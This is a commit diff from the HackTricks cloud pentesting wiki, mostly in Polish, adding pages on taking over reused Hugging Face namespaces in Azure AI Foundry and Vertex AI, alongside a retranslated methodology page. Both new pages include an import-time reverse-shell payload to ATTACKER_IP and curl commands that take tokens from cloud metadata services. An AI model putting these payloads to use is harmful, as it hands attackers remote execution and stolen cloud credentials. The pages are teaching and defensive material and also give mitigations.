mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -1,3 +1,9 @@
|
||||
# Az - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
az-azure-ai-foundry-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+94
@@ -0,0 +1,94 @@
|
||||
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenariusz
|
||||
|
||||
- Azure AI Foundry Model Catalog zawiera wiele modeli Hugging Face (HF) gotowych do jednoklikowego wdrożenia.
|
||||
- HF model identifiers are Author/ModelName. Jeśli autor/org HF zostanie usunięty, każdy może ponownie zarejestrować tego autora i opublikować model o tej samej nazwie ModelName pod legacy path.
|
||||
- Pipelines i katalogi, które pobierają tylko po nazwie (no commit pinning/integrity), rozwiążą się do repozytoriów kontrolowanych przez atakującego. Gdy Azure wdroży model, loader code może wykonać się w środowisku endpointa, przyznając RCE z uprawnieniami tego endpointa.
|
||||
|
||||
Common HF takeover cases:
|
||||
- Ownership deletion: Old path 404 until takeover.
|
||||
- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
|
||||
|
||||
## Identyfikacja ponownie używalnych przestrzeni nazw (HF)
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
|
||||
|
||||
# Check model path
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 -> redirect (transfer case), 404 -> deleted until takeover
|
||||
```
|
||||
## Pełny przebieg ataku przeciwko Azure AI Foundry
|
||||
|
||||
1) W Model Catalog znajdź modele HF, których oryginalni Authorzy zostali usunięci lub przeniesieni (stary Author usunięty) na HF.
|
||||
2) Zarejestruj ponownie porzuconego Authora na HF i odtwórz ModelName.
|
||||
3) Opublikuj złośliwe repo z kodem loadera, który wykonuje się przy imporcie lub wymaga trust_remote_code=True.
|
||||
4) Wdróż legacy Author/ModelName z Azure AI Foundry. Platforma pobierze repo atakującego; loader wykona się wewnątrz kontenera/VM endpointu Azure, co doprowadzi do RCE z uprawnieniami endpointu.
|
||||
|
||||
Przykładowy fragment payloadu wykonywany przy imporcie (tylko w celach demonstracyjnych):
|
||||
```python
|
||||
# __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
|
||||
|
||||
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Notatki
|
||||
- Wdrożenia AI Foundry, które integrują HF, zazwyczaj klonują i importują moduły repozytoriów odwoływane w konfiguracji modelu (np. auto_map), co może wywołać code execution. Niektóre ścieżki wymagają trust_remote_code=True.
|
||||
- Dostęp zazwyczaj odpowiada uprawnieniom managed identity/service principal endpointu. Traktuj to jako initial access foothold do dostępu do danych i lateral movement w Azure.
|
||||
|
||||
## Post-Exploitation Tips (Azure Endpoint)
|
||||
|
||||
- Wylistuj zmienne środowiskowe i MSI endpoints w poszukiwaniu tokenów:
|
||||
```bash
|
||||
# Azure Instance Metadata Service (inside Azure compute)
|
||||
curl -H "Metadata: true" \
|
||||
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
- Sprawdź zamontowane pamięci masowe, artefakty modeli oraz dostępne usługi Azure przy użyciu pozyskanego tokena.
|
||||
- Rozważ persistence poprzez pozostawienie poisoned model artifacts, jeśli platforma ponownie pobiera je z HF.
|
||||
|
||||
## Wskazówki obronne dla użytkowników Azure AI Foundry
|
||||
|
||||
- Przypinaj modele do konkretnego commit podczas ładowania z HF:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Twórz lustrzane kopie zweryfikowanych modeli HF w zaufanym wewnętrznym rejestrze i wdrażaj stamtąd.
|
||||
- Nieustannie skanuj repozytoria kodu oraz defaults/docstrings/notebooks w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj lub przypnij.
|
||||
- Zweryfikuj istnienie autora i pochodzenie modelu przed wdrożeniem.
|
||||
|
||||
## Heurystyki rozpoznawania (HTTP)
|
||||
|
||||
- Usunięty autor: strona autora 404; stara ścieżka modelu 404 aż do przejęcia.
|
||||
- Przeniesiony model: stara ścieżka 307 do nowego autora, podczas gdy stary autor nadal istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, stara ścieżka serwuje zawartość kontrolowaną przez atakującego.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Odniesienia krzyżowe
|
||||
|
||||
- Zobacz szerszą metodologię i uwagi dotyczące łańcucha dostaw:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencje
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,3 +1,9 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
gcp-vertex-ai-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
# GCP - Vertex AI Post-Exploitation przez ponowne wykorzystanie przestrzeni nazw modeli Hugging Face
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Scenariusz
|
||||
|
||||
- Vertex AI Model Garden pozwala na bezpośrednie wdrożenie wielu modeli Hugging Face (HF).
|
||||
- Identyfikatory modeli HF mają postać Author/ModelName. Jeśli autor/organizacja na HF zostanie usunięta, ta sama nazwa autora może zostać ponownie zarejestrowana przez dowolną osobę. Atakujący mogą wtedy stworzyć repo o tej samej nazwie ModelName w historycznej ścieżce.
|
||||
- Pipelines, SDKs, or cloud catalogs that fetch by name only (no pinning/integrity) will pull the attacker-controlled repo. When the model is deployed, loader code from that repo can execute inside the Vertex AI endpoint container, yielding RCE with the endpoint’s permissions.
|
||||
|
||||
Dwa typowe przypadki przejęcia na HF:
|
||||
- Ownership deletion: Stara ścieżka zwraca 404 dopóki ktoś nie zarejestruje ponownie autora i nie opublikuje tego samego ModelName.
|
||||
- Ownership transfer: HF issues 307 redirects from old Author/ModelName to the new author. If the old author is later deleted and re-registered by an attacker, the redirect chain is broken and the attacker’s repo serves at the legacy path.
|
||||
|
||||
## Identyfikowanie możliwych do ponownego użycia przestrzeni nazw (HF)
|
||||
|
||||
- Stary autor usunięty: strona autora zwraca 404; ścieżka modelu może zwracać 404 aż do przejęcia.
|
||||
- Przeniesione modele: stara ścieżka modelu zwraca 307 do nowego właściciela, dopóki stary autor istnieje. Jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, historyczna ścieżka będzie wskazywać na repo atakującego.
|
||||
|
||||
Szybkie sprawdzenia za pomocą curl:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## Przebieg ataku end-to-end przeciwko Vertex AI
|
||||
|
||||
1) Odnajdź przestrzenie nazw modeli możliwe do ponownego użycia, które Model Garden oznacza jako deployable:
|
||||
- Znajdź modele HF w Vertex AI Model Garden, które nadal są oznaczone jako “verified deployable”.
|
||||
- Sprawdź na HF, czy oryginalny autor został usunięty lub czy model został przeniesiony, a stary autor później usunięty.
|
||||
|
||||
2) Zarejestruj ponownie usuniętego autora na HF i odtwórz ten sam ModelName.
|
||||
|
||||
3) Opublikuj złośliwe repo. Dołącz kod, który wykona się podczas ładowania modelu. Przykłady, które często wykonują się podczas ładowania modelu HF:
|
||||
- Efekty uboczne w __init__.py repo
|
||||
- Własne pliki modeling_*.py lub kod przetwarzający wskazywany przez config/auto_map
|
||||
- Ścieżki kodu wymagające trust_remote_code=True w Transformers pipelines
|
||||
|
||||
4) Wdrożenie Vertex AI korzystające z legacy Author/ModelName teraz pobiera repo atakującego. Loader wykonuje się wewnątrz kontenera endpointu Vertex AI.
|
||||
|
||||
5) Payload ustanawia dostęp ze środowiska endpointu (RCE) z uprawnieniami endpointu.
|
||||
|
||||
Przykładowy fragment payloadu wykonywany podczas importu (tylko w celach demonstracyjnych):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Uwagi
|
||||
- Rzeczywiste implementacje loaderów różnią się. Wiele integracji Vertex AI HF klonuje i importuje moduły z repozytorium wskazane w konfiguracji modelu (np. auto_map), co może prowadzić do wykonania kodu. W niektórych przypadkach wymagane jest trust_remote_code=True.
|
||||
- Endpoint zwykle działa w dedykowanym kontenerze o ograniczonym zakresie, ale stanowi ważny początkowy punkt dostępu do danych i ruchu lateralnego w GCP.
|
||||
|
||||
## Wskazówki po eksploatacji (Vertex AI Endpoint)
|
||||
|
||||
Gdy kod działa wewnątrz kontenera endpointu, rozważ:
|
||||
- Wyliczanie zmiennych środowiskowych i metadanych w poszukiwaniu poświadczeń/tokenów
|
||||
- Dostęp do dołączonego storage'u lub zamontowanych artefaktów modelu
|
||||
- Interakcja z Google APIs za pomocą tożsamości service account (Document AI, Storage, Pub/Sub, etc.)
|
||||
- Utrwalanie w artefakcie modelu, jeśli platforma ponownie pobierze repo
|
||||
|
||||
Wylicz metadane instancji, jeśli dostępne (zależne od kontenera):
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Wytyczne obronne dla użytkowników Vertex AI
|
||||
|
||||
- Przypinaj modele do commita w HF loaders, aby zapobiec cichej podmianie:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- Replikuj zweryfikowane modele HF do zaufanego wewnętrznego magazynu artefaktów/rejestru i wdrażaj stamtąd.
|
||||
- Nieprzerwanie skanuj repozytoria kodu i konfiguracje w poszukiwaniu na stałe zakodowanych Author/ModelName, które zostały usunięte/przeniesione; zaktualizuj do nowych przestrzeni nazw lub przypnij do commita.
|
||||
- W Model Garden weryfikuj pochodzenie modelu i istnienie autora przed wdrożeniem.
|
||||
|
||||
## Heurystyki rozpoznawcze (HTTP)
|
||||
|
||||
- Usunięty autor: strona autora 404; ścieżka starego modelu 404 aż do przejęcia.
|
||||
- Przeniesiony model: stara ścieżka 307 do nowego autora, podczas gdy stary autor istnieje; jeśli stary autor zostanie później usunięty i ponownie zarejestrowany, stara ścieżka serwuje zawartość atakującego.
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## Odniesienia krzyżowe
|
||||
|
||||
- Zobacz szerszą metodologię i uwagi dotyczące łańcucha dostaw:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## Źródła
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,44 +1,44 @@
|
||||
# Metodologia Pentestingu w Chmurze
|
||||
# Pentesting Cloud Methodology
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Podstawowa Metodologia
|
||||
## Podstawowa metodologia
|
||||
|
||||
Każda chmura ma swoje własne szczególności, ale ogólnie istnieje kilka **wspólnych rzeczy, które pentester powinien sprawdzić** podczas testowania środowiska chmurowego:
|
||||
Each cloud has its own peculiarities but in general there are a few **common things a pentester should check** when testing a cloud environment:
|
||||
|
||||
- **Sprawdzanie standardów**
|
||||
- To pomoże Ci **zrozumieć rozmiar** środowiska i **używane usługi**
|
||||
- Pozwoli to również znaleźć kilka **szybkich błędów konfiguracyjnych**, ponieważ większość tych testów można przeprowadzić za pomocą **automatycznych narzędzi**
|
||||
- **Enumaracja usług**
|
||||
- Prawdopodobnie nie znajdziesz wielu więcej błędów konfiguracyjnych, jeśli poprawnie przeprowadziłeś testy standardów, ale możesz znaleźć niektóre, które nie były brane pod uwagę w teście standardów.
|
||||
- To pozwoli Ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym
|
||||
- To bardzo pomoże w następnych krokach
|
||||
- **Sprawdź wystawione zasoby**
|
||||
- Można to zrobić podczas poprzedniej sekcji, musisz **dowiedzieć się, co jest potencjalnie wystawione** w Internecie i jak można to uzyskać.
|
||||
- Tutaj mam na myśli **ręcznie wystawioną infrastrukturę**, taką jak instancje z stronami internetowymi lub innymi portami, które są wystawione, a także inne **usługi zarządzane w chmurze, które mogą być skonfigurowane** do wystawienia (takie jak bazy danych lub kosze)
|
||||
- Następnie powinieneś sprawdzić **czy ten zasób może być wystawiony czy nie** (informacje poufne? luki? błędy konfiguracyjne w wystawionej usłudze?)
|
||||
- **Kontrole benchmarkowe**
|
||||
- To pomoże ci **zrozumieć rozmiar** środowiska i **używane usługi**
|
||||
- Pozwoli też znaleźć kilka **szybkich błędów konfiguracji**, gdyż większość tych testów można wykonać za pomocą **narzędzi automatycznych**
|
||||
- **Enumeracja usług**
|
||||
- Prawdopodobnie nie znajdziesz tu wielu dodatkowych błędów konfiguracji, jeśli prawidłowo wykonałeś testy benchmarkowe, ale możesz znaleźć takie, na które nie zwrócono uwagi podczas testu benchmarkowego.
|
||||
- To pozwoli ci wiedzieć **co dokładnie jest używane** w środowisku chmurowym
|
||||
- To bardzo pomoże w kolejnych krokach
|
||||
- **Sprawdź zasoby wystawione**
|
||||
- Można to zrobić w poprzedniej sekcji — musisz **odnaleźć wszystko, co potencjalnie jest wystawione** do Internetu i jak można to uzyskać.
|
||||
- Tutaj mam na myśli **ręcznie wystawioną infrastrukturę** jak instancje z stronami WWW lub innymi otwartymi portami, a także inne **zarządzane usługi chmurowe, które mogą być skonfigurowane** do wystawienia (such as DBs or buckets)
|
||||
- Następnie powinieneś sprawdzić **czy zasób może być wystawiony, czy nie** (informacje poufne? podatności? błędy konfiguracji w wystawionej usłudze?)
|
||||
- **Sprawdź uprawnienia**
|
||||
- Tutaj powinieneś **dowiedzieć się o wszystkich uprawnieniach każdej roli/użytkownika** w chmurze i jak są one używane
|
||||
- Zbyt **wiele wysoko uprzywilejowanych** (kontrolujących wszystko) kont? Wygenerowane klucze, które nie są używane?... Większość tych kontroli powinna być już przeprowadzona w testach standardów
|
||||
- Jeśli klient używa OpenID lub SAML lub innej **federacji**, możesz potrzebować poprosić ich o dodatkowe **informacje** na temat **jak przypisywana jest każda rola** (to nie to samo, co przypisanie roli administratora 1 użytkownikowi lub 100)
|
||||
- **Nie wystarczy znaleźć**, którzy użytkownicy mają **uprawnienia administratora** "\*:\*". Istnieje wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**.
|
||||
- Co więcej, istnieją **potencjalne ścieżki privesc**, które można wykorzystać, nadużywając uprawnień. Wszystkie te rzeczy powinny być brane pod uwagę, a **jak najwięcej ścieżek privesc** powinno być zgłoszonych.
|
||||
- Tutaj powinieneś **odnaleźć wszystkie uprawnienia każdej roli/użytkownika** w chmurze i jak są używane
|
||||
- Zbyt wiele kont z wysokimi uprawnieniami (kontrolujących wszystko)? Wygenerowane klucze nieużywane?... Większość z tych kontroli powinna być już wykonana w testach benchmarkowych
|
||||
- Jeżeli klient używa OpenID, SAML lub innej **federacji**, może być konieczne poprosić ich o dodatkowe **informacje** dotyczące **jak przypisywana jest każda rola** (to nie to samo, gdy rola admina przypisana jest 1 użytkownikowi lub 100)
|
||||
- Nie wystarczy **znaleźć**, którzy użytkownicy mają uprawnienia **admin** "*:*". Jest wiele **innych uprawnień**, które w zależności od używanych usług mogą być bardzo **wrażliwe**.
|
||||
- Co więcej, istnieją **potencjalne ścieżki privesc** do wykorzystania przez nadużycie uprawnień. Wszystkie te rzeczy należy wziąć pod uwagę i zgłosić **jak najwięcej ścieżek privesc**.
|
||||
- **Sprawdź integracje**
|
||||
- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w środowisku chmurowym.
|
||||
- Dla **integracji chmury, którą audytujesz** z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużywania) tej integracji** i powinieneś zapytać **jak wrażliwa** jest wykonywana akcja.\
|
||||
Na przykład, kto może pisać w koszu AWS, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest akcja w GCP w związku z tymi danymi).
|
||||
- Dla **integracji wewnątrz chmury, którą audytujesz** z zewnętrznych platform, powinieneś zapytać **kto ma dostęp zewnętrzny do (nadużywania) tej integracji** i sprawdzić, jak te dane są używane.\
|
||||
Na przykład, jeśli usługa używa obrazu Dockera hostowanego w GCR, powinieneś zapytać, kto ma dostęp do jego modyfikacji i jakie wrażliwe informacje oraz dostęp uzyska ten obraz po uruchomieniu w chmurze AWS.
|
||||
- Jest bardzo prawdopodobne, że **integracje z innymi chmurami lub SaaS** są używane w obrębie środowiska chmurowego.
|
||||
- W przypadku **integracji chmury, którą audytujesz**, z inną platformą powinieneś powiadomić **kto ma dostęp do (nadużycia) tej integracji** i zapytać **jak wrażliwa** jest wykonywana akcja.\
|
||||
Na przykład, kto może zapisywać do AWS bucketu, z którego GCP pobiera dane (zapytaj, jak wrażliwa jest ta operacja w GCP przy przetwarzaniu tych danych).
|
||||
- W przypadku **integracji wewnątrz audytowanej chmury** z platform zewnętrznych, powinieneś zapytać **kto z zewnątrz ma dostęp do (nadużycia) tej integracji** i sprawdzić, jak te dane są wykorzystywane.\
|
||||
Na przykład, jeśli usługa używa obrazu Docker hostowanego w GCR, powinieneś zapytać, kto ma dostęp do modyfikacji tego obrazu i jakie wrażliwe informacje oraz uprawnienia uzyska ten obraz po uruchomieniu wewnątrz chmury AWS.
|
||||
|
||||
## Narzędzia Multi-Cloud
|
||||
## Narzędzia multi-cloud
|
||||
|
||||
Istnieje kilka narzędzi, które można wykorzystać do testowania różnych środowisk chmurowych. Kroki instalacji i linki będą wskazane w tej sekcji.
|
||||
There are several tools that can be used to test different cloud environments. The installation steps and links are going to be indicated in this section.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
Narzędzie do **identyfikacji złych konfiguracji i ścieżek privesc w chmurach i między chmurami/SaaS.**
|
||||
A tool to **identify bad configurations and privesc path in clouds and across clouds/SaaS.**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
|
||||
|
||||
### [Prowler](https://github.com/prowler-cloud/prowler)
|
||||
|
||||
Obsługuje **AWS, GCP i Azure**. Sprawdź, jak skonfigurować każdego dostawcę w [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
Obsługuje **AWS, GCP & Azure**. Sprawdź, jak skonfigurować każdego dostawcę w [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
|
||||
```bash
|
||||
# Install
|
||||
pip install prowler
|
||||
@@ -115,7 +115,7 @@ npm install
|
||||
AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Instalacja" }}
|
||||
{{#tab name="Install" }}
|
||||
```bash
|
||||
mkdir scout; cd scout
|
||||
virtualenv -p python3 venv
|
||||
@@ -170,7 +170,7 @@ steampipe check all
|
||||
|
||||
<summary>Sprawdź wszystkie projekty</summary>
|
||||
|
||||
Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc`, wskazując wszystkie projekty do przetestowania. Możesz po prostu postępować zgodnie z instrukcjami z poniższego skryptu.
|
||||
Aby sprawdzić wszystkie projekty, musisz wygenerować plik `gcp.spc` wskazujący wszystkie projekty do przetestowania. Możesz po prostu skorzystać ze wskazówek w poniższym skrypcie
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
Aby sprawdzić **inne informacje GCP** (przydatne do enumeracji usług), użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
Aby sprawdzić **inne GCP insights** (przydatne do enumeracji usług) użyj: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Aby sprawdzić kod Terraform GCP: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
Aby sprawdzić Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
Więcej wtyczek GCP Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
Więcej GCP pluginów Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -225,9 +225,9 @@ cd steampipe-mod-aws-compliance
|
||||
steampipe dashboard # To see results in browser
|
||||
steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
Aby sprawdzić kod Terraform AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
Aby sprawdzić kod Terraform dla AWS: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
Więcej wtyczek AWS Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
Więcej wtyczek Steampipe dla AWS: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
@@ -238,11 +238,11 @@ Wymaga python2.7 i wygląda na nieutrzymywane.
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus ma skan _**Audit Cloud Infrastructure**_ wspierający: AWS, Azure, Office 365, Rackspace, Salesforce. Wymagane są dodatkowe konfiguracje w **Azure**, aby uzyskać **Client Id**.
|
||||
Nessus ma skan _**Audit Cloud Infrastructure**_ obsługujący: AWS, Azure, Office 365, Rackspace, Salesforce. W **Azure** wymagane są dodatkowe konfiguracje, aby uzyskać **Client Id**.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (nazwy hostów, adresy IP) od dostawców chmury.
|
||||
Cloudlist to **narzędzie multi-cloud do pozyskiwania zasobów** (Hostnames, IP Addresses) od dostawców chmurowych.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury oraz relacje między nimi w intuicyjnym widoku graficznym zasilanym przez bazę danych Neo4j.
|
||||
Cartography to narzędzie w Pythonie, które konsoliduje zasoby infrastruktury i relacje między nimi w intuicyjnym widoku grafu opartym na bazie danych Neo4j.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, kontroli bezpieczeństwa i innych, w intuicyjny widok graficzny wspierany przez bazę danych Neo4j.
|
||||
Starbase zbiera zasoby i relacje z usług i systemów, w tym infrastruktury chmurowej, aplikacji SaaS, mechanizmów zabezpieczeń i innych, do intuicyjnego widoku grafowego wspieranego przez bazę danych Neo4j.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Odkryj najbardziej uprzywilejowanych użytkowników w zeskanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell.
|
||||
Odnajdź najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS lub Azure, w tym AWS Shadow Admins. Używa powershell.
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,15 +372,15 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
Narzędzie do znajdowania infrastruktury, plików i aplikacji firmy (cel) na czołowych dostawcach chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
Narzędzie do znajdowania infrastruktury firmy (target), plików i aplikacji u największych dostawców chmury (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox to narzędzie do znajdowania podatnych ścieżek ataku w infrastrukturze chmurowej (obecnie wspierane tylko AWS i Azure, GCP wkrótce).
|
||||
- Jest to narzędzie do enumeracji, które ma na celu uzupełnienie ręcznego pentestingu.
|
||||
- Nie tworzy ani nie modyfikuje żadnych danych w środowisku chmurowym.
|
||||
- CloudFox to narzędzie do znajdowania exploitable attack paths w cloud infrastructure (aktualnie obsługiwane tylko AWS & Azure, GCP wkrótce).
|
||||
- Jest enumeration tool, które ma uzupełniać manualny pentesting.
|
||||
- Nie tworzy ani nie modyfikuje żadnych danych w obrębie środowiska chmurowego.
|
||||
|
||||
### Więcej list narzędzi do zabezpieczeń chmurowych
|
||||
### More lists of cloud security tools
|
||||
|
||||
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
|
||||
|
||||
@@ -412,10 +412,11 @@ azure-security/
|
||||
|
||||
### Attack Graph
|
||||
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter)tworzy „graf ataku” zasobów w subskrypcji Azure. Umożliwia zespołom red i pentesterom wizualizację powierzchni ataku i możliwości pivotowania w obrębie najemcy, a także wspomaga obrońców w szybkim orientowaniu się i priorytetyzowaniu pracy związanej z odpowiedzią na incydenty.
|
||||
[**Stormspotter** ](https://github.com/Azure/Stormspotter) tworzy „attack graph” zasobów w subskrypcji Azure. Umożliwia red teams i pentesters wizualizację attack surface i możliwości pivot w ramach tenant, a także przyspiesza obrońców, pozwalając szybko się zorientować i priorytetyzować prace związane z incident response.
|
||||
|
||||
### Office365
|
||||
|
||||
Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale zauważ, że Global Admin Reader jest nieco ograniczony). Jednak te ograniczenia pojawiają się w niektórych modułach PS i można je obejść, uzyskując dostęp do funkcji **za pośrednictwem aplikacji webowej**.
|
||||
Potrzebujesz **Global Admin** lub przynajmniej **Global Admin Reader** (ale pamiętaj, że Global Admin Reader jest trochę ograniczony). Jednak te ograniczenia pojawiają się w niektórych PS modules i można je obejść, uzyskując dostęp do funkcji **via the web application**.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user